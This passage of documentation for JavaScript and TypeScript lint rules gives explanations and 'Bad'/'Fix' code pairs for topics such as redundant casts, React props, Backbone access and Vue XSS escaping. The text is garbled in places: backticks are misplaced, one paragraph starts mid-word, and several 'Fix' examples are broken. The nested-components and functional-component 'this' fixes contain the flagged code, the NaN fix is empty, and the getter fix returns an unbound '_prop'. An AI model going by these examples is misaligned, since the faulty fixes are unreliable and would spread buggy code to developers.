          <p>A non-null assertion is a way to tell the TypeScript compiler explicitly that you are certain that a variable will not be \`null or undefined, and you want to access its properties or methods without any null checks.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>However, a redundant cast occurs when you perform a type assertion that is not needed because the compiler already knows the type based on the context or explicit type declarations. Similarly, a redundant non-null assertion occurs when you use the non-null assertion operator ! to assert that a variable is not null or undefined\`, but the compiler already knows that based on the context.</p>
    </div>

    <div class="paragraph">
      <p>Both redundant casts and redundant non-null assertions should be avoided in TypeScript code, as they add unnecessary noise, clutter the code, and lead to confusion.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function getName(x?: string | Person) {
      if (x) {
      console.log("Getting name for " + x!); // Noncompliant: 'x' is known to be defined here

      if (typeof x === "string") {
        return (x as string); // Noncompliant: 'x' is known to be a string here
      } else {
        return (x as Person).name; // Noncompliant: 'x' is defined and not a string, thus a 'Person' here
      }
      }
      return "NoName";
      }
      ```

      ```javascript Fix theme={null}
      function getName(x?: string | Person) {
      if (x) {
      console.log("Getting name for " + x);

      if (typeof x === "string") {
        return x;
      } else {
        return x.name;
      }
      }
      return "NoName";
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables and functions should not be declared in the global scope">
    <div class="paragraph">
      <p>Any variable or function declared in the global scope implicitly becomes attached to the global object (the <code>window object in a browser environment). To make it explicit this variable or function should be a property of window. When it is meant to be used just locally, it should be declared with the const or let</code> keywords (since ECMAScript 2015) or within an Immediately-Invoked Function Expression (IIFE).</p>
    </div>

    <div class="paragraph">
      <p>This rule should not be activated when modules are used.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var myVar = 42;       // Noncompliant
      function myFunc() { } // Noncompliant
      ```

      ```javascript Fix theme={null}
      window.myVar = 42;
      window.myFunc = function() { };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="for of should be used with Iterables">
    <div class="paragraph">
      <p>\`for...of statements are used to iterate over the values of an iterable object. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterable_protocol">Iterables</a>  are objects implementing the @@iterator method, which returns an object conforming to the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterator_protocol">iterator protocol</a>. JavaScript provides many <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#built-in_iterables">built-in iterables</a> that can and should be used with this looping statement.</p>
    </div>

    <div class="paragraph">
      <p>The use of the for...of statement is recommended over the for\` statement when iterating through iterable objects as simplifies the syntax and eliminates the need for a counter variable.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const arr = [4, 3, 2, 1];

      for (let i = 0; i < arr.length; i++) {  // Noncompliant: arr is an iterable object
      console.log(arr[i]);
      }
      ```

      ```javascript Fix theme={null}
      const arr = [4, 3, 2, 1];

      for (let value of arr) {
      console.log(value);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Sparse arrays should not be created with extra commas">
    <div class="paragraph">
      <p>A sparse array is an array in which the elements do not occupy a contiguous range of indices. In other words, there are gaps (or "holes") between the elements in the array, where some indices have no corresponding value assigned to them.</p>
    </div>

    <div class="paragraph">
      <p>Including an extra comma in an array literal signifies an empty slot in the array, thus creating a sparse array. An empty slot is not the same as a slot filled with the undefined value. In some operations, empty slots behave as if they are filled with undefined but are skipped in others.</p>
    </div>

    <div class="paragraph">
      <p>While this is a well-defined behavior, it can be misleading and raises suspicions about the original intent: an extra comma was intentionally inserted, or perhaps the developer meant to insert the missing value but forgot.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let a = [1, , 3, 6, 9]; // Noncompliant: Extra comma maybe denoting an oversight
      ```

      ```javascript Fix theme={null}
      let a = [1, 3, 6, 9];
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Results of operations on strings should not be ignored">
    <div class="paragraph">
      <p>Doing an operation on a string without using the result of the operation is useless and is certainly due to a misunderstanding.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var str = "..."
      str.toUpperCase(); // Noncompliant
      ```

      ```javascript Fix theme={null}
      var str = "..."
      str = str.toUpperCase();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions should not contain control characters">
    <div class="paragraph">
      <p>Entries in the ASCII table below code 32 are known as control characters or non-printing characters. As they are not common in JavaScript strings, using these invisible characters in regular expressions is most likely a mistake.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const pattern1 = /\x1a/;             // Noncompliant: 1a (23 base 10) is less than 32
      const pattern2 = new RegExp('\x1a'); // Noncompliant: 1a (23 base 10) is less than 32
      ```

      ```javascript Fix theme={null}
      const pattern1 = /\x20/;
      const pattern2 = new RegExp('\x20');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Union and intersection types should not include duplicated constituents">
    <div class="paragraph">
      <p>In TypeScript, unions and intersections are used to combine multiple types into a single type, allowing you to create more flexible and powerful type definitions.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A union type is represented using the pipe symbol \`|. It allows you to declare a variable or parameter that can hold values of different types. The variable can be assigned a value of any type listed in the union.</p>
        </li>

        <li>
          <p>An intersection type is represented using the ampersand symbol &\`. It allows you to combine multiple types into a single type that includes all the properties and methods from each type.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Having duplicated constituents in TypeScript unions and intersections can lead to undesirable behavior and potential issues in your code. TypeScript’s type system aims to provide a strong and sound static type checking to catch errors during development and improve code reliability. Including duplicate constituents in unions or intersections can make the type definitions unnecessarily verbose and redundant. This makes the code harder to read and maintain.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function padLeft(value: string, padding: string | number | string) { // Noncompliant: 'string' type is used twice in a union type declaration
      // ...
      }

      function extend(p : Person) : Person & Person & Loggable { // Noncompliant: 'Person' is used twice
      // ...
      }
      ```

      ```javascript Fix theme={null}
      function padLeft(value: string, padding: string | number | boolean) {
      // ...
      }

      function extend(p : Person) : Person & Loggable {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Redundant type aliases should not be used">
    <div class="paragraph">
      <p>TypeScript provides the type mechanism to create a type alias, that is, a new name to refer to an existing type. It is a nice feature to improve code readability and can be used as documentation. However, aliasing a primitive type, another alias or everyday types like any or unknown is useless and goes against the idea of readable code. As a result, a reader needs to go through the mental exercise of remembering the underlying type behind the alias and loses track of the code’s primary purpose.</p>
    </div>

    <div class="paragraph">
      <p>Common types come with relevant names and should be used as they are.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      type MyString  = string;
      type MyBoolean = boolean;

      function isPalindrom(s: MyString): MyBoolean {
      return s === s.split('').reverse().join('');
      }
      ```

      ```javascript Fix theme={null}
      function isPalindrom(s: string): boolean {
      return s === s.split('').reverse().join('');
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Nullish coalescing should be preferred">
    <div class="paragraph">
      <p>The nullish coalescing operator ?? allows providing a default value when dealing with null or undefined. It only coalesces when the original value is null or undefined. Therefore, it is safer and shorter than relying upon chaining logical || expressions or testing against null or undefined explicitly.</p>
    </div>

    <div class="paragraph">
      <p>This rule reports when disjunctions (||) and conditionals (?) can be safely replaced with coalescing (??).</p>
    </div>

    <div class="paragraph">
      <p>The TSConfig needs to set strictNullChecks to true for the rule to work properly.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function either(x: number | undefined, y: number) {
      return x || y;
      }
      ```

      ```javascript Fix theme={null}
      function either(x: number | undefined, y: number) {
      return x ?? y;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="collection.models should not be accessed directly">
    <div class="paragraph">
      <p>When using the Backbone.js framework, the array of models inside a collection, \`collection.models, should not be accessed directly. Doing so bypasses the listeners set on the collection and could put your application in a bad state.</p>
    </div>

    <div class="paragraph">
      <p>Instead, use get, at\` or the underscore methods.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      myCollection.models.forEach(function (model) { });
      ```

      ```javascript Fix theme={null}
      myCollection.forEach(function (model) {  });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Enum members should not mix value types">
    <div class="paragraph">
      <p>TypeScript provides both numeric and string-based enums. Members of enums can be assigned strings, numbers, both, or none, which default to numbers starting from zero. Although it is possble to mix the types of enum member values, it is generally considered confusing and a bad practice.</p>
    </div>

    <div class="paragraph">
      <p>Enum members should be consistently assigned values of the same type, that is, strings or numbers.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      enum Color {
      Red, // 0 by default
      Green = 1,
      Blue = "blue"
      }
      ```

      ```javascript Fix theme={null}
      enum Color {
      Red = "red",
      Green = "green",
      Blue = "blue"
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function returns should not be invariant">
    <div class="paragraph">
      <p>When a function has multiple return statements and returns the same value in more than one of them, it can lead to several potential problems:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>It can make the code more difficult to understand and maintain, as the reader may be unsure why the same value is being returned multiple times. This can introduce ambiguity and increase the chances of misunderstanding the function’s intent.</p>
        </li>

        <li>
          <p>The use of multiple return statements with the same value might lead someone to assume that each return corresponds to a distinct case or outcome. However, if they all return the same value, it can be misleading and may indicate an oversight or mistake in the code.</p>
        </li>

        <li>
          <p>When the function needs to be modified or extended in the future, having multiple identical return statements can make it harder to implement changes correctly across all occurrences. This can introduce bugs and inconsistencies in the codebase.</p>
        </li>

        <li>
          <p>Code readability is crucial for maintainability and collaboration. Having repetitive return statements can lead to unnecessary code duplication, which should be avoided in favor of creating modular and clean code.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when a function contains several <code>return</code> statements that all return the same value.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function f(a, g) { // Noncompliant: 'f' returns 'b' on two different return statements
      const b = 42;
      if (a) {
      g(a);
      return b;
      }
      return b;
      }
      ```

      ```javascript Fix theme={null}
      function f(a, g) {
      const b = 42;
      if (a) {
      g(a);
      }
      return b;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React props should be read-only">
    <div class="paragraph">
      <p>React props should be read-only because it helps to enforce the principle of immutability in React functional components. By making props read-only, you ensure that the data passed from a parent component to a child component cannot be modified directly by the child component. This helps maintain a clear data flow and prevents unexpected side effects.</p>
    </div>

    <div class="paragraph">
      <p>If props were mutable, child components could modify the props directly, leading to unpredictable behavior and making it harder to track down bugs. By enforcing read-only props, React promotes a more predictable and maintainable codebase. Additionally, read-only props enable performance optimizations in React’s rendering process by avoiding unnecessary re-renders of components.</p>
    </div>

    <div class="paragraph">
      <p>Overall, enforcing read-only props in React helps improve code reliability, maintainability, and performance.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      interface Props {
      name: string;
      }

      function Welcome(props: Props) { // Noncompliant: The component props are not read-only
      return <div>Hello {props.name}</div>;
      }
      ```

      ```javascript Fix theme={null}
      interface Props {
      name: string;
      }

      function Welcome(props: Readonly<Props>) {
      return <div>Hello {props.name}</div>;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions using Unicode character classes or property escapes should enable the unicode flag">
    <div class="paragraph">
      <p>JavaScript regular expressions provide  Unicode character classses and Unicode property escapes for matching characters based on their Unicode values and Unicode properties respectively. When using Unicode property escapes like \p\{Alpha} without the u flag, the regular expression will not match alphabetic characters but rather the '\p\{Alpha}' string literal, which is likely a mistake.</p>
    </div>

    <div class="paragraph">
      <p>This rules raises an issue when Unicode character classses and Unicode property escapes are used without the u flag.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      /\u{1234}/
      /\p{Alpha}/
      ```

      ```javascript Fix theme={null}
      /\u{1234}/u
      /\p{Alpha}/u
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="model.attributes should not be accessed directly">
    <div class="paragraph">
      <p>When using the Backbone.js framework, the internal hash containing the model’s state, \`model.attributes, should not be accessed directly. Doing so bypasses the listeners set on the model and could put your application in a bad state.</p>
    </div>

    <div class="paragraph">
      <p>Instead, you should use set to update, get to read, and \_.clone(model.attributes)\` to obtain a copy.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      myModel.attributes.someAttribute = 1;
      ```

      ```javascript Fix theme={null}
      myModel.set({ someAttribute: 1 });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Parameter properties should be used consistently">
    <div class="paragraph">
      <p>Parameter properties let you both create and initialize a member in one place, and omit an explicit member declaration and the assignment of the constructor parameter to the member. To use a parameter property, add an accessibility modifier or <code>readonly</code>, or both in front of the constructor parameter.</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>constructor(readonly name: string, private age: number) \{ // creates 2 initialized members "name" and "age"
        }</pre>
      </div>
    </div>

    <div class="paragraph">
      <p>While this syntax is very concise it might be confusing for developers who are new to TypeScript.</p>
    </div>

    <div class="paragraph">
      <p>Shared conventions allow teams to collaborate efficiently. This rule checks that either parameter properties are used everywhere or not at all.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      class Person {
      name: number;
      constructor(name: string) {
      this.name = name; // Noncompliant, parameter property can be used
      }
      }
      ```

      ```javascript Fix theme={null}
      class Person {
      constructor(public name: string) {
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Destructuring syntax should be used for assignments">
    <div class="paragraph">
      <p>ECMAScript 2015 introduced the ability to extract and assign multiple data points from an object or array simultaneously. This is called "destructuring", and it allows you to condense boilerplate code so you can concentrate on logic.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when multiple pieces of data are extracted out of the same object or array and assigned to variables.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo (obj1, obj2, array) {
      var a = obj1.a;  // Noncompliant
      var b = obj1.b;

      var name = obj2.name;  // ignored; there's only one extraction-and-assignment

      var zero = array[0];  // Noncompliant
      var one = array[1];
      }
      ```

      ```javascript Fix theme={null}
      function foo (obj1, obj2, array) {
      var {a, b} = obj1;

      var {name} = obj2;  // this syntax works because var name and property name are the same

      var [zero, one] = array;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Getters and setters should access the expected fields">
    <div class="paragraph">
      <p>Getters and setters provide a way to enforce encapsulation by providing methods that give controlled access to class fields. However, in classes with multiple fields, it is not unusual that copy and paste is used to quickly create the needed getters and setters, which can result in the wrong field being accessed by a getter or setter.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue in the following cases:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A setter does not update the field with the corresponding name (if it exists).</p>
        </li>

        <li>
          <p>A getter:</p>

          <div class="ulist">
            <ul>
              <li>
                <p>does not return any value</p>
              </li>

              <li>
                <p>does not access the field with the corresponding name (if it exists).</p>
              </li>
            </ul>
          </div>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Underscore prefixes for fields are supported, so setX() can assign a value to \`\_x.</p>
    </div>

    <div class="paragraph">
      <p>The following type of getters and setters are supported:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>getX() and setX()\`</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class A {
      #y: number = 0;
      setY(val: number) { // Noncompliant: field '#y' is not updated
      }
      }
      ```

      ```javascript Fix theme={null}
      class A {
      #y: number = 0;
      setY(val: number) {
      this.#y = val;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Getters should return something">
    <div class="paragraph">
      <p>The contract and expectation of a <code>get</code> function is that it will return something. Failing to return a value on all paths is surely an error.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var x = {
      _prop : "foo",
      get prop(){  // Noncompliant
      console.log("prop getter");
      }
      }

      x.prop; // returns undefined
      ```

      ```javascript Fix theme={null}
      var x = {
      _prop : "foo",
      get prop(){
      console.log("prop getter");
      return _prop;
      }
      }

      x.prop; // returns "foo"
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Parentheses should be used when negating in and instanceof operations">
    <div class="paragraph">
      <p>Operator precedence determines the order in which different operators are evaluated when an expression contains multiple ones. It helps determine how the expression is parsed and executed. JavaScript follows a specific set of rules to determine operator precedence.</p>
    </div>

    <div class="paragraph">
      <p>Not being aware of JavaScript’s operator precedence rules can lead to unexpected and potentially incorrect results when evaluating expressions. This is common when misapplying the logical negation operator (\`!). For instance, consider the difference between !key in dict and !(key in dict). The first looks for a boolean value (!key) in dict, and the other looks for a string and inverts the result. The same applies for !obj instanceof SomeClass.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when the left operand of an in or instanceof operator is negated with !\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (!"prop" in myObj) { // Noncompliant: checks whether !"prop", that is, false is in myObj
      doTheThing(); // this block is never executed
      }

      if (!foo instanceof MyClass) { // Noncompliant: "!foo" returns a boolean, which is not an instance of anything
      doTheOtherThing(); // this block is never executed either
      }
      ```

      ```javascript Fix theme={null}
      if (!("prop" in myObj)) {
      doTheThing();
      }

      if (!(foo instanceof MyClass)) {
      doTheOtherThing();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="shouldComponentUpdate should not be defined when extending React.PureComponent">
    <div class="paragraph">
      <p>In React, a PureComponent is a class component that is optimized for performance by implementing a shallow comparison of props and state. It is a subclass of the regular React Component class and provides a default implementation of the shouldComponentUpdate method.</p>
    </div>

    <div class="paragraph">
      <p>The shouldComponentUpdate method is responsible for determining whether a component should re-render or not. By default, it returns true and triggers a re-render every time the component receives new props or state. However, PureComponent overrides this method and performs a shallow comparison of the current and next props and state. If there are no changes, it prevents unnecessary re-renders by returning false.</p>
    </div>

    <div class="paragraph">
      <p>Therefore, defining a shouldComponentUpdate method while extending PureComponent is redundant and should be avoided. By not defining shouldComponentUpdate, you allow React.PureComponent to handle the optimization for you.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class MyComponent extends React.PureComponent { // Noncompliant
      shouldComponentUpdate() {
      // does something
      }

      render() {
      return <div>Hello!</div>
      }
      }
      ```

      ```javascript Fix theme={null}
      class MyComponent extends React.Component {
      shouldComponentUpdate() {
      // does something
      }

      render() {
      return <div>Hello!</div>
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function declarations should not be made within blocks">
    <div class="paragraph">
      <p>While most script engines support function declarations within blocks, from browser to browser, the implementations are inconsistent with each other.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if (x) {
      function foo() {} //foo is hoisted in Chrome, Firefox and Safari, but not in Edge.
      }
      ```

      ```javascript Fix theme={null}
      if (x) {
      const foo = function() {}
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="undefined should not be passed as the value of optional parameters">
    <div class="paragraph">
      <p>In TypeScript, optional and default parameters are features that enhance the flexibility and usability of functions by allowing you to define parameters that can be omitted during function calls or have default values assigned to them when not provided explicitly:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Optional parameters are denoted by adding a question mark (\`?) after the parameter name in the function declaration. These parameters can be omitted when calling the function, and TypeScript will assign them a value of undefined if they are not provided.</p>
        </li>

        <li>
          <p>Default parameters are used to assign a default value to a parameter in case the caller does not provide a value for that parameter. Default values are specified in the function declaration using the assignment operator (=) followed by the default value.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>When a parameter is defined as optional, it automatically allows that parameter to be omitted during function calls. If you explicitly pass undefined as the value for an optional parameter, it contradicts the purpose of making the parameter optional, making the code less readable and maintainable.</p>
    </div>

    <div class="paragraph">
      <p>Similarly, when a parameter has a default value, it means that if the caller omits the argument during function calls, the default value will be used automatically. There is no need to pass undefined\` explicitly for default parameters, except when they come before a required parameter.</p>
    </div>

    <div class="paragraph">
      <p>This rule checks that the last argument of a function call is not redundant with regard to the function’s signature.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(x: number, y: string = "default", z?: number) {
      // ...
      }

      foo(42, undefined); // Noncompliant: 'undefined' is redundant
      foo(42, undefined, undefined); // Noncompliant: Both 'undefined' are redundant
      foo(42, undefined, 5); // Compliant: 'undefined' is required to get the second parameter's default value
      ```

      ```javascript Fix theme={null}
      function foo(x: number, y: string = "default", z?: number) {
      // ...
      }

      foo(42);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="indexOf checks should not be for positive numbers">
    <div class="paragraph">
      <p>Most checks against an indexOf value compare it with -1 because 0 is a valid index. Checking against > 0 ignores the first element, which is likely a bug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let arr = ["blue", "red"];

      if (arr.indexOf("blue") > 0) { // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      let arr = ["blue", "red"];

      if (arr.includes("blue")) { 
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling Vue.js built-in escaping is security-sensitive">
    <div class="paragraph">
      <p>ts XSS vulnerabilities by automatically escaping HTML contents with the use of native API browsers like \`innerText instead of innerHtml.</p>
    </div>

    <div class="paragraph">
      <p>It’s still possible to explicity use innerHtml\` and similar APIs to render HTML. Accidentally rendering malicious HTML data will introduce an XSS vulnerability in the application and enable a wide range of serious attacks like accessing/modifying sensitive information or impersonating other users.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div>{{ htmlContent }}</div>
      ```

      ```javascript Fix theme={null}
      Vue.component('element', {
      render: function (createElement) {
      return createElement(
        'div',
        {
          domProps: {
            innerText: this.htmlContent, 
          }
        },
        this.htmlContent // Child node
      );
      },
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Selections should be stored">
    <div class="paragraph">
      <p>jQuery doesn’t cache elements for you. If you’ve made a selection that you might need to make again, you should save the selection in a variable rather than making the selection repeatedly.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      $( "p" ).hide();
      $( "p" ).show();  // Noncompliant
      ```

      ```javascript Fix theme={null}
      var paragraph = $( "p" );

      paragraph.hide();
      paragraph.show();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React components should not be nested">
    <div class="paragraph">
      <p>React components should not be nested, as their state will be lost on each re-render of their parent component, possibly introducing bugs. This will also impact performance as child components will be recreated unnecessarily.</p>
    </div>

    <div class="paragraph">
      <p>If the goal is to have the state reset, use a <a href="https://react.dev/learn/preserving-and-resetting-state#option-2-resetting-state-with-a-key">key</a> instead of relying on a parent state.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Component() {
      function NestedComponent() { // Noncompliant: NestedComponent should be moved outside Component
      return <div />;
      }

      return (
      <div>
        <NestedComponent />
      </div>
      );
      }
      ```

      ```javascript Fix theme={null}
      function Component() {
      return (
      <div>
        <OtherComponent footer={ () => <div /> } /> { /* Noncompliant: Component is created inside prop */ }
      </div>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Bitwise operators should not be used in boolean contexts">
    <div class="paragraph">
      <p>Bitwise operations are operations that manipulate individual bits in binary representations of numbers. These operations work at the binary level, treating numbers as sequences of 32 bits (in 32-bit environments) or 64 bits (in 64-bit environments). However, they should not be used in a boolean context because they have different behaviors compared to logical operators when applied to boolean values:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When applied to boolean values, bitwise AND (&) and OR (\`|) perform bitwise operations on the binary representation of the numbers. They treat the operands as 32-bit signed integers and manipulate their individual bits.</p>
        </li>

        <li>
          <p>Logical AND (&&) and OR (||) are specifically designed for boolean operations. They return a boolean value based on the truthiness or falsiness of the operands.&& returns true if both operands are truthy; otherwise, it returns false. || operator returns true  if at least one of the operands is truthy; otherwise, it returns false.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Bitwise operators & and | can be easily mistaken for logical operators && and ||, especially for those who are not familiar with the distinction between them or their specific use cases.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when & or |\` is used in a boolean context.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (a & b) { /* ... */ } // Noncompliant: The operator & is used in a boolean context
      ```

      ```javascript Fix theme={null}
      if (a && b) { /* ... */ }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Arithmetic operations should not result in NaN">
    <div class="paragraph">
      <p>The result of an expression with an arithmetic operator <code>/, \*, %, ++, --, -, +=, -=, \*=, /=, %=, + or unary operator +, - when at least one operand is Object or Undefined will be always a NaN</code> (Not a Number).</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      x = [1, 2];
      var y = x / 4;  //Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Setters should not return values">
    <div class="paragraph">
      <p>In JavaScript, a setter is a special type of function that is used to set the value of a property on an object. Setters are defined using the \`set keyword followed by the name of the property that the setter is associated with.</p>
    </div>

    <div class="paragraph">
      <p>To set the property, we simply assign a value to it as if it were a regular property. The setter function is automatically called with the value that we assign to the property.</p>
    </div>

    <div class="paragraph">
      <p>Functions declared with the set\` keyword will automatically return the values they were passed. Thus any value explicitly returned from a setter will be ignored, and explicitly returning a value is a mistake.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let person = {
      // ...
      set firstname(first) {
      this.first = first;
      return 42;  // Noncompliant: The return value 42 will be ignored
      }
      };
      console.log(person.firstname = 'bob'); // Prints 'bob'
      ```

      ```javascript Fix theme={null}
      let person = {
      // ...
      set firstname(first) {
      this.first = first;
      }
      };
      console.log(person.firstname = 'bob'); // Prints 'bob'
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Type intersections should use meaningful types">
    <div class="paragraph">
      <p>In TypeScript, intersections are used to combine multiple types into a single one. An intersection type is represented using the ampersand symbol \`&. It allows you to combine multiple types into a single type that includes all the properties and methods from each type, thus creating more flexible and powerful type definitions.</p>
    </div>

    <div class="paragraph">
      <p>However, some of the basic types of TypeScript should not be used with intersections:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The never type represents the type of values that never occur. Intersecting any type with never will always result in type never.</p>
        </li>

        <li>
          <p>The any type allows to opt-out of type checking during compilation. Expressions of type any allow you to access arbitrary properties, even ones that don’t exist. any comes at the cost of losing type safety, which is one of the main motivations for using TypeScript. Avoid using any when not necessary. Intersecting any type with any will always result in type any.</p>
        </li>

        <li>
          <p>The undefined and null types are the types for their respective value. Intersecting any type with them will always result in type never.</p>
        </li>

        <li>
          <p>The void type implies the absence of a type. Intersecting any type with void will always result in type never.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Additionally, an intersection with a type without members (for example, \{}\`) doesn’t change the resulting type, is redundant, and can be safely removed from the intersection.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      type Foo = T & null; // Noncompliant: 'Foo' is always 'never'

      type Bar = T & any; // Noncompliant: 'Bar' is always 'any'

      type Baz = T & U & {}; // Noncompliant: '{}' has no members and is redundant
      ```

      ```javascript Fix theme={null}
      type Foo = T | null;

      type Bar = T & U;

      type Baz = T & U;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="this should not be used in functional components">
    <div class="paragraph">
      <p>Referring to this in React functional components would be an error because the components are just regular JavaScript functions
      and do not have an object associated with them. Functional components receive their props as a first argument to the component function,
      so you can access them directly, and it is a common practice to destructure them right away.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function UserProfile({firstName, lastName}){
      return (
          <div className="user">{firstName} {lastName}</div>
      );
      }
      ```

      ```javascript Fix theme={null}
      function MyComponent(props){
      const foo = this.props.bar; // Noncompliant: remove 'this'
      return (
          <div>{foo}</div>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Return values from functions without side effects should not be ignored">
    <div class="paragraph">
      <p>When a function is called, it executes its block of code and uses a \`return statement within the function to specify the value that the function will produce as its result. This returned value can then be used or assigned to a variable in the calling code.</p>
    </div>

    <div class="paragraph">
      <p>If a function returns a value that is not used or assigned to a variable, it may indicate that the function is not being used correctly or that there is a mistake in the code. This can make the code harder to understand and maintain, and can also lead to errors if the return value is needed later in the code.</p>
    </div>

    <div class="paragraph">
      <p>Ignoring the return value of a function can be a sign of poor coding practices. It can indicate that the developer did not fully understand the purpose of the function or did not take the time to properly integrate it into the code.</p>
    </div>

    <div class="paragraph">
      <p>This rule triggers an issue only on a predefined list of methods from built-in objects (String, Number, Date, Array, Math, and RegExp\`) to prevent generating any false-positives.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      'hello'.lastIndexOf('e'); // Noncompliant: The return value is lost
      ```

      ```javascript Fix theme={null}
      let lastIndex = 'hello'.lastIndexOf('e');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function constructors should not be used">
    <div class="paragraph">
      <p>In addition to being obtuse from a syntax perspective, function constructors are also dangerous: their execution evaluates the constructor’s string arguments similar to the way <code>eval</code> works, which could expose your program to random, unintended code which can be both slow and a security risk.</p>
    </div>

    <div class="paragraph">
      <p>In general it is better to avoid it altogether, particularly when used to parse JSON data. You should use ECMAScript 5’s built-in JSON functions or a dedicated library.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var obj =  new Function("return " + data)();  // Noncompliant
      ```

      ```javascript Fix theme={null}
      var obj = JSON.parse(data);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Raw booleans should not be passed as parameters">
    <div class="paragraph">
